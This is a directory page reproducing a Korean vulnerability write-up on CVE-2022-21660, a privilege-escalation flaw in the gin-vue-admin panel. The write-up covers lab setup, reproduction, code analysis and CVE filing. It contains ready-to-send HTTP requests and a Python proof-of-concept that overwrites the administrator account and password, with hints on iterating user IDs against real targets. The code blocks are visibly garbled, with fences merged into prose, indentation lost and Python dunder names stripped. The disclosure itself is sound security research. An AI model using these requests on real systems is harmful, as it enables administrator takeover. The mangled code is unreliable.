Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
도구/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
Authentication & AuthorizationVulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingLearning & Education
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

저장소 보기
28124년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gin-Vue-admin 수직 권한 상승 취약점 및 코드 분석 - CVE-2022-21660

1. 서문

여러 고수님들께서 이 프로젝트에 star를 눌러 주시길 환영합니다.```http https://github.com/flipped-aurora/gin-vue-admin/

root@kitploit:~
![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

글을 다 쓰고 나서 CVE를 신청하는 데 다소 번거로움이 있었지만, 다행히도 결국 신청할 수 있었다. github 직원들의 응답이 신속했다.

> ps CVE를 신청하기 전에 이미 CNVD를 제출했다

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### 2. 환경 구축

공식 튜토리얼에 따라```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

그런 다음 server 디렉터리로 이동합니다.```bash go generate

root@kitploit:~
![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

그런 다음 server를 직접 실행하면 됩니다

image-20211230134411233

다음은 WEB입니다. web 디렉터리로 들어가서 입력합니다```bash cnpm install || npm install

root@kitploit:~
그런 다음 기다리기만 하면 됩니다

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)



그런 다음 설치가 완료되면 자동으로 웹 페이지가 열립니다

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

그런 다음 초기화를 위해 데이터베이스 정보를 설정합니다

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

설정을 완료한 후 초기화를 클릭한 다음 로그인하면 됩니다

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 3. 취약점 재현

### SetUserInfo에 수직 권한 상승 취약점 존재

##### 1. SetUserInfo 인터페이스의 권한 상승을 이용한 사용자 개인정보 설정

사용자 관리 페이지로 바로 이동하여 낮은 권한의 사용자 역할을 하나 추가합니다

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

위에서 볼 수 있듯이 관리자 권한은 부여되지 않았습니다. 다음으로 새 계정을 만들고 이 역할 그룹에 배정합니다

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

취약점이 발생하는 위치는 https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go 의 273번째 줄입니다

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

여기서는 전달된 ID에 대한 검증이 수행되지 않습니다. ID는 사용자를 나타내므로, 지정된 ID를 직접 전달하면 해당 사용자의 개인 정보를 수정할 수 있습니다.

image-20211230141732113

먼저 관리자의 X-token을 사용하여 ID가 1인 사용자의 이름을 test1로 수정하는 테스트를 진행합니다. 이후 백엔드에서 관리자의 ID가 test1로 수정된 것을 확인할 수 있습니다.

image-20211230144216099

그다음 방금 생성한 UzJu_HxSecTeam 계정의 Token으로 교체하여 관리자 사용자 이름을 test2로 수정합니다.

먼저 UzJu_HxSecTeam 계정의 개인 정보>비밀번호 변경에서 아무 비밀번호나 변경한 후 계정 Token을 획득합니다.

image-20211230144321622

이 Token은 낮은 권한의 역할에 해당합니다. 일반적으로 낮은 권한의 사용자는 관리자의 어떤 정보도 수정할 수 없습니다.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

root@kitploit:~
Token을 그 자리에 넣고 다음과 같은 JSON 데이터를 구성합니다.```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

우리는 Token을 setUserinfo 인터페이스로 교체합니다```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

root@kitploit:~
그러면 설정이 성공했다는 알림이 표시됩니다.

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

이제 관리자 계정으로 전환하여 test2로 변경되었는지 확인합니다.

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

관리자 사용자가 성공적으로 변경된 것을 확인할 수 있습니다.

##### 2、SetUserInfo 인터페이스 수직 권한 상승으로 관리자 비밀번호 무조건 변경

Debug할 때, 권한을 위반하여 개인 정보를 설정하는 setUserInfo 인터페이스에서는 id, username, nickname,headimg만 설정할 수 있는 것이 아니라 실제로 password 등의 매개변수도 전달할 수 있다는 것을 발견했습니다.

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

예를 들어, ID가 1인 사용자의 이름을 admin으로, 닉네임을 슈퍼유저 관리자로 설정하는 요청을 구성합니다.

![image-20211230222755083](https://assets.kitploit.com/production/public/readmes/21446/c379c4f7a1039625d62c90a0ace6a475cad615d8ff27bf7c508af0a4e04df48c.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

이때 관리자의 비밀번호는 이미 qwe@123으로 변경되었으며, 로그인을 시도합니다

image-20211230222853109

이후 성공적으로 로그인됩니다

image-20211230222906607

ChangPassword 권한 초과 사용자 비밀번호 변경

PS: 여기에는 전제 조건이 하나 있습니다. 바로 제가 변경하려는 사용자의 비밀번호를 알고 있어야 한다는 것입니다

먼저 기본 admin 비밀번호가 123456이라는 것을 알고 있습니다. 이때 Json 데이터를 구성하여 Json 데이터의 username 매개변수를 권한을 초과하여 변경하려는 사용자 이름으로 수정하기만 하면 됩니다

먼저 낮은 권한의 계정으로 로그인하여 비밀번호를 한 번 변경합니다

image-20211230145433929

changePassword 요청을 캡처하게 되며, 이 요청을 Repeater에 넣습니다

image-20211230145506647

이후에는 username 매개변수를 admin으로 수정하기만 하면 됩니다

image-20211230145615220

이후 수정 성공 메시지가 표시되며, 새 비밀번호로 admin에 로그인합니다

image-20211230145704428

이후 성공적으로 로그인됩니다

image-20211230145725332

취약점이 발생하는 위치는 https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139줄입니다```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }

root@kitploit:~
> 여기에는 논쟁이 하나 있습니다. 이미 다른 사람의 계정 비밀번호를 알고 있다면 그 계정으로 바로 로그인하면 되는 것 아니냐는 것입니다. 실제로 그렇습니다. 하지만 여기서의 프로그램 로직 흐름은 이미 인증이 완료된 상태이며, 정상적으로는 현재 사용자가 자신의 비밀번호만 변경할 수 있습니다. 그런데 여기서는 ID를 수정하여 다른 사람의 비밀번호를 변경할 수 있습니다. 다른 각도에서 보면 로그인 페이지에는 캡차 검증이 있기 때문에 무차별 대입 공격도 가능하다고 볼 수 있습니다.

### 4. 취약점 원리 분석

> ps: 아래 모든 내용은 Go를 전혀 배운 적 없고 개발 경험이라고는 전혀 없으며 Python만 다룰 줄 아는 스크립트 키드의 이해에서 나온 것입니다.

먼저 정상적인 비즈니스 로직 관점에서 왜 여기서 권한 초과가 발생하는지 살펴보면, 사실 원리는 비교적 간단합니다. 주된 이유는 새 역할 권한을 생성할 때 몇 가지 필수 선택 파라미터가 있는데, 바로 이 파라미터들을 선택해야 사용자에게 권한 초과의 기회가 생기기 때문입니다(하지만 선택하지 않을 수도 없습니다. 기본 필수 파라미터이기 때문입니다). 결국 근본적으로는 코드에 로직 문제가 존재하는 것입니다.

![image-20211230162340184](https://assets.kitploit.com/production/public/readmes/21446/20a1d4c86c7742b02ade2545ffc1d9daf09da8e36196c53f22e1c4c75cfcdc61.png)

먼저 역할을 새로 생성한 후 역할의 권한을 확인해 보겠습니다.

![image-20211230162510272](https://assets.kitploit.com/production/public/readmes/21446/f2200104b5e87458273e49a127381deb2caf6d8c18f47cebfec3f51c98ce7392.png)

확인해 보면 기본적으로 새로 생성된 사용자 권한에는 역할 메뉴에서 대시보드에 접근할 수 있는 권한이 하나만 있습니다. 하지만 역할의 API 권한을 확인하면 다음과 같은 사실을 발견할 수 있습니다.

![image-20211230162602998](https://assets.kitploit.com/production/public/readmes/21446/a0ae26ec2f658f8410fabc66becd2404fa38bbb85dca5c907c56bd6cea19a82d.png)

여기에는 몇 가지 필수 권한이 있습니다.

+ 사용자 등록
+ 사용자 정보 설정
+ 본인 정보 획득
+ 비밀번호 변경
+ 사용자 역할 변경

이것이 바로 이번 취약점의 원인입니다. 먼저 "사용자 정보 설정" 권한인데, 만약 체크를 해제하면

![image-20211230162752207](https://assets.kitploit.com/production/public/readmes/21446/e5c25385cc35a0ca2235648dae3cc8d23b15ca179ce73a3c7f477f635526abb6.png)

그런 다음 낮은 권한 역할 그룹의 계정 Token을 Burp에 넣고 시도해 봅니다.

![image-20211230163029027](https://assets.kitploit.com/production/public/readmes/21446/c082b88f880c845caa086ac66400d9969967c2c320572d1245b8c1987f264d6d.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

앞서 확인했듯이 현재 우리는 이러한 사용자 정보를 설정할 권한이 없으며, Go의 Debug 페이지에서도 코드 로직을 쉽게 발견할 수 있습니다. 예를 들어 지금은 사용자 정보를 설정할 권한이 없지만, 코드상으로는 이론상 이 인터페이스에 접근하면 Debug 중단점이 걸려야 합니다. 하지만 아래 그림과 같이 중단점을 설정했는데도 프로그램이 멈추지 않았습니다.

image-20211230163258163

여기에서 알 수 있듯이 이 작업 이전에 인증(권한 확인) 작업이 하나 있을 것입니다(일반적으로 rbac일 겁니다). 그럼 이제 낮은 권한의 역할 그룹에 사용자 설정 권한을 부여하고 다시 재전송해 봅시다.

image-20211230163401844

image-20211230163437975

프로그램이 여기서 성공적으로 멈춘 것을 확인할 수 있습니다. 그렇다면 저 같은 Go 초보자도 Debug 방식을 통해 여기의 인증 로직을 찾을 수 있지 않을까 생각합니다:)

먼저 Mac에서 command 키 + 마우스 왼쪽 클릭으로 이 함수가 어디서 호출되는지 찾아봅니다.

image-20211230172215924

그러면 사용자 라우트를 초기화하는 함수 InitUserRouter가 여기 있는 것을 볼 수 있습니다.

image-20211230172303694

계속 같은 방법으로 Command+마우스 왼쪽 클릭하여 InitUserRoute가 어디서 호출되는지 확인합니다.

image-20211230172756447

여기서 주의할 점은 JWTAuth()와 middleware.CasbinHandler()가 있다는 것입니다.

먼저 middleware.JWTAuth()를 살펴보겠습니다. 역시 같은 방법으로 Command+마우스 왼쪽 클릭합니다.

image-20211230173029571

그러면 jwt.go 파일로 오게 되는데, 여기의 로직을 살펴볼 수 있습니다(물론 작성자가 주석을 달아둔 것에도 감사합니다).

image-20211230173337186

Go에서 token:= 는 요청의 header에 있는 x-token을 받아 변수를 정의하는 것과 같습니다. 먼저 token이 비어 있는지 판단하고, 비어 있으면 바로 사용자가 로그인하지 않았거나 비정상적인 접근이라고 반환합니다.

image-20211230173515740

그다음 사용자의 token이 블랙리스트에 있는지 판단합니다. 여기서는 캐시나 사용자 로그아웃 시점을 통해 이 token이 이미 유효하지 않은지 확인하는 것 같습니다. 유효하지 않으면 사용자에게 다른 곳에서 로그인되었거나 토큰이 만료되었다고 반환할 것입니다.

image-20211230173927005

여기서 먼저 ParseToken 함수에 token을 전달하여 토큰을 파싱합니다. 따라가서 확인해 봅시다.

image-20211230174153376

jwt.ParseWithClaims가 뭔지 모르겠네요... 전통의 기술, google.com

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

여기는 JWT 암·복호화에 사용되고, SigningKey를 반환한 다음 계속 아래로 진행합니다

작성자의 지적에 감사드립니다: 여기서 전달된 jwt token 문자열을 파싱하여 jwt.Token 구조체를 얻고, 구조체에서 Claims를 파싱하여 이전에 token 생성 시 탑재했던 사용자 정보를 얻습니다.

image-20211230180325474

Google을 통해 ValidationErrorMalformed가 잘못된 token인지 판단하는 데 사용되고, ValidationErrorExpired로 만료 여부를, ValidationErrorNotValidYet으로 token이 활성화되었는지 판단한 다음 반환하는 것을 알게 되었습니다. 아래에 코드가 더 있긴 하지만요.

image-20211230181012200

그다음 token이 만료되었는지 판단하고, 만료되지 않았다면 reload로 이동합니다. 이후 middleware.CasbinHandler()로 갑니다.

image-20211230181206422

먼저 utils.GetClaims에 진입하고 매개변수 하나를 전달합니다.

image-20211230181333671

이 함수는 x-token을 가져온 다음 해당 token을 파싱하여 만료 여부 등을 판단하는 데 사용됩니다.

image-20211230185043326

그다음 사용자의 역할을 판단하는데, 여기의 1234는 우리가 웹에서 설정한 역할 그룹 ID입니다.

image-20211230185135662

image-20211230185217506

이후 casbinService.Casbin()에 진입합니다. 전통의 기술, 바로 Baidu 검색입니다.

image-20211230185413430

이전에 추측한 것과 비슷하게 rbac 권한 제어이며, 여기서 데이터베이스에 연결합니다. 그리고 여기서 F7로 단계별 실행을 해봤는데, 너무 복잡해서 포기했습니다.

image-20211230191210935

주석을 보면 여기가 권한을 판단하는 곳임을 알 수 있습니다.

기계 번역: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).

강제 결정 "subject"가 작업 "action"으로 "object"에 접근할 수 있는지 여부, 입력 매개변수는 일반적으로 (sub, obj, act)입니다.

image-20211230191631807

그다음 개발 환경인지 판단하고, success는 false입니다. 여기서 || 는 "또는"의 의미로, 성공하거나 권한 부족을 알리게 됩니다.

권한이 있을 때, 월권(권한 밖)이 발생하는 setuserinfo 인터페이스가 어떻게 동작하는지 살펴보겠습니다. 먼저 인터셉터 부분에 중단점을 설정합니다.

image-20211230214215348

Tips: Baidu 검색을 통해 여기서 golang의 casbin 접근 제어 프레임워크를 사용한다는 것을 알게 되었습니다.

https://blog.csdn.net/qq_42015552/article/details/104013264

그다음 setuserinfo에도 중단점을 설정합니다.

image-20211230214247389

인터셉터는 프로그램 로직상 setuserinfo보다 앞에 있으므로 인터셉터부터 디버깅을 시작합니다.

Burp에서 요청을 보낸 후 계속 대기합니다. 이때 단계별 디버깅으로 확인해 봅시다.

image-20211230214329911

현재 우리의 역할 그룹은 1234입니다.

image-20211230214503883

그다음 데이터베이스에 연결하고, 이후 권한을 확인합니다.

image-20211230215514485

image-20211230215532447

여기서 true가 반환되었으므로 권한이 존재한다는 뜻입니다. 이후 개발 환경인지 또는 success가 true인지 판단하게 되는데, 여기서는 반드시 첫 번째 if를 통과할 것입니다.

그러면 setuserinfo 인터페이스에 도달하게 됩니다.

image-20211230220206889

shouldBindJson이 Json 매개변수를 바인딩합니다.

image-20211230220707383

그다음 여기서 전달된 Json 매개변수가 올바른지 판단하는 데 사용됩니다.

image-20211230221153338

아래에서는 바로 userid를 대입합니다.

image-20220104134548099

여기서 ID는 우리가 프론트엔드에서 전달한 것으로 임의로 수정할 수 있기 때문에 월권이 발생합니다.

image-20211230221415677

image-20211230221432290

그다음 데이터베이스에 대입한 후, 업데이트 후 반환합니다.

image-20211230221556509

그러면 업데이트가 성공적으로 완료됩니다.

주요 인증 작업은 모두 cashbin.rbac.go 파일의 CasbinHandler 함수 안에 있는 casbinService.Casbin()와 e.Enforce(sub, obj, act)입니다.

여기서의 월권에 대한 제 이해는, 사용자 정보 설정 권한이 부여되면 기본적으로 해당 사용자는 권한 규칙에서 사용자 정보를 수정할 수 있게 되고, 수정 시 ID를 다른 사람의 ID로 바꿔치기하면 다른 사람의 정보를 수정할 수 있다는 것입니다.

여기까지 이해가 되었습니다. 먼저 인증은 AuthorityId를 기준으로 사용자가 특정 인터페이스에 대한 권한이 있는지 판단합니다.

image-20220104131901466

그런데 setuserinfo에서 사용하는 ID는 사용자의 계정 ID입니다.

image-20220104132137472

따라서 월권이 발생합니다. 이 ID는 프론트엔드 전달 시 제어할 수 있고, 이미 인증이 끝난 이후이기 때문입니다. 작성자와의 소통 후 설명에 따르면 수정도 비교적 간단한데, user.id를 강제로 JWT에 해당하는 권한 ID로 할당하면 됩니다. 그러면 프론트엔드에서 어떻게 전달하든 코드에서 user.id 값을 현재 JWT에 해당하는 id로 변경하는 코드가 있기 때문에 월권이 발생하지 않습니다.

하지만 업무 프로세스 로직상 이러한 권한은 반드시 부여해야 합니다. 부여하지 않으면 현재 사용자는 자신의 정보를 수정할 수 없기 때문입니다.

image-20220104135624752

五、POC 작성```python

#!/usr/bin/env python

-- coding: UTF-8 --

''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''

import requests import json import sys

class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"

root@kitploit:~
def checkVuln(self):
    '''
    因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
    在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
    The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
    In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
    '''
    payload_data = {
                        "id": 1,
                        "username": "admin",
                        "nickName": "超级管理员",
                        "Password": "qwe@123"
                    }
    # Change the administrator password to qwe@123, because the default administrator ID is 1
    headers = {
        "x-token": self.jwt_token
    }
    result = requests.put(url=self.url + self.setUserInfo,
                          headers=headers,
                          data=json.dumps(payload_data)
                          )
    if json.loads(result.content)['code'] == 7:
        print("[-]Modify the failure")
    elif json.loads(result.content)['code'] == 0:
        print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self):
    '''
    wait
    '''
    pass

if name == 'main': try: Banner_2 = '''

root@kitploit:~
     /$$   /$$              /$$$$$          
    | $$  | $$             |__  $$          
    | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
    | $$  | $$|____ /$$/      | $$| $$  | $$
    | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
    | $$  | $$  /$$__/  | $$  | $$| $$  | $$
    |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
     \______/ |________/ \______/  \______/                   
         Autor: UzJu   Email: [email protected]  GitHub: github.com/uzju  
    '''
    print(Banner_2)
    url = sys.argv[1]
    jwt_token = sys.argv[2]
    main = GinVueAdminPoc(url, jwt_token)
    main.checkVuln()
except:
    print("[-]please input url and token")
root@kitploit:~
check_interface_ChangePassword 메서드를 작성하지 않은 이유는, 이것이 일종의 무차별 대입(brute-force) 인터페이스이기 때문입니다. 임의 사용자의 비밀번호를 변경하기 전에 변경 대상 계정의 비밀번호를 알아야 하며, 이는 무차별 대입과 같기 때문에 여기서는 작성하지 않았습니다. 그리고 checkvuln 메서드의 경우, payload_data JSON 데이터의 id는 사실 임의로 변경할 수 있으며, for 루프로 순회하도록 작성할 수도 있습니다. 실제 환경에서는 관리자의 ID가 1인지 확실하지 않기 때문이며, 악의적인 파괴가 존재하는 경우에도 일정한 영향을 미칠 수 있습니다.

![image-20211231143107127](https://assets.kitploit.com/production/public/readmes/21446/3b2780b6dee596c6129292183ad4fcacab4167c400c5827adb7925a6185e8edc.png)

### 6. CVE 신청

> CNVD는 말할 것도 없고, 분명 이미 제출했을 것입니다. 여기서는 CVE를 신청합니다.
>
> GitHub 대리 신청은 번호가 특히 빨리 나옵니다. 기본적으로 최대 3일이며, 여기서는 당일 제출한 다음 날 새벽에 CVE 사전 할당 번호를 받았습니다.
>
> 아래 작업은 작성자에게 연락하여 도움을 받아야 합니다. 그렇지 않으면 New Draft security advisory 버튼이 없습니다.

![image-20220107164730550](https://assets.kitploit.com/production/public/readmes/21446/133726a3f2309aed6a517e646e4f4b921a3ca2ceeeaa147dfe9a0a8515ef9207.png)

![image-20220107165445797](https://assets.kitploit.com/production/public/readmes/21446/f35ae5f108b77a841a7b3961c94e7f89535885505aadcfdd3011b671a2cf5d1f.png)

![image-20220107165519396](https://assets.kitploit.com/production/public/readmes/21446/4a15d060be13653a267fe20a7c7a119226cab32e5b04852375280ef1b77b5b60.png)

Description에 취약점 내용, 재현 과정, POC를 작성하면 되며, 그런 다음 create draft security advisory를 클릭합니다.

**당시 우리는 이것을 처음 신청하는 것이었는데, 실수를 저질러 초안(draft)만 작성하고 요청을 하지 않아 7일을 헛되이 기다렸습니다.**

![image-20220107165651894](https://assets.kitploit.com/production/public/readmes/21446/7131fd63bff3675f9f1e90709e4d7b271d261d6b34daa93f2d523a298522a2f8.png)

작성을 완료했다면 반드시 아래로 스크롤하여 request cve id를 클릭해야 합니다.

![image-20220107165714011](https://assets.kitploit.com/production/public/readmes/21446/33f99cef9367fb123421c75786e4320f22b85e7c92b829653349ac74fc7ecea5.png)

![image-20220107165744293](https://assets.kitploit.com/production/public/readmes/21446/6c825102428e2d57120514254bf419322d5e40e83787a440a83797ee1a7e97ac.png)

> 참고 문서: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### 7. 감사의 말

+ 저자 팀 홈페이지: https://github.com/flipped-aurora/
+ 저자의 GitHub: https://github.com/piexlmax
+ Gin-vue-admin 프로젝트 주소: https://github.com/flipped-aurora/gin-vue-admin
도구 다운로드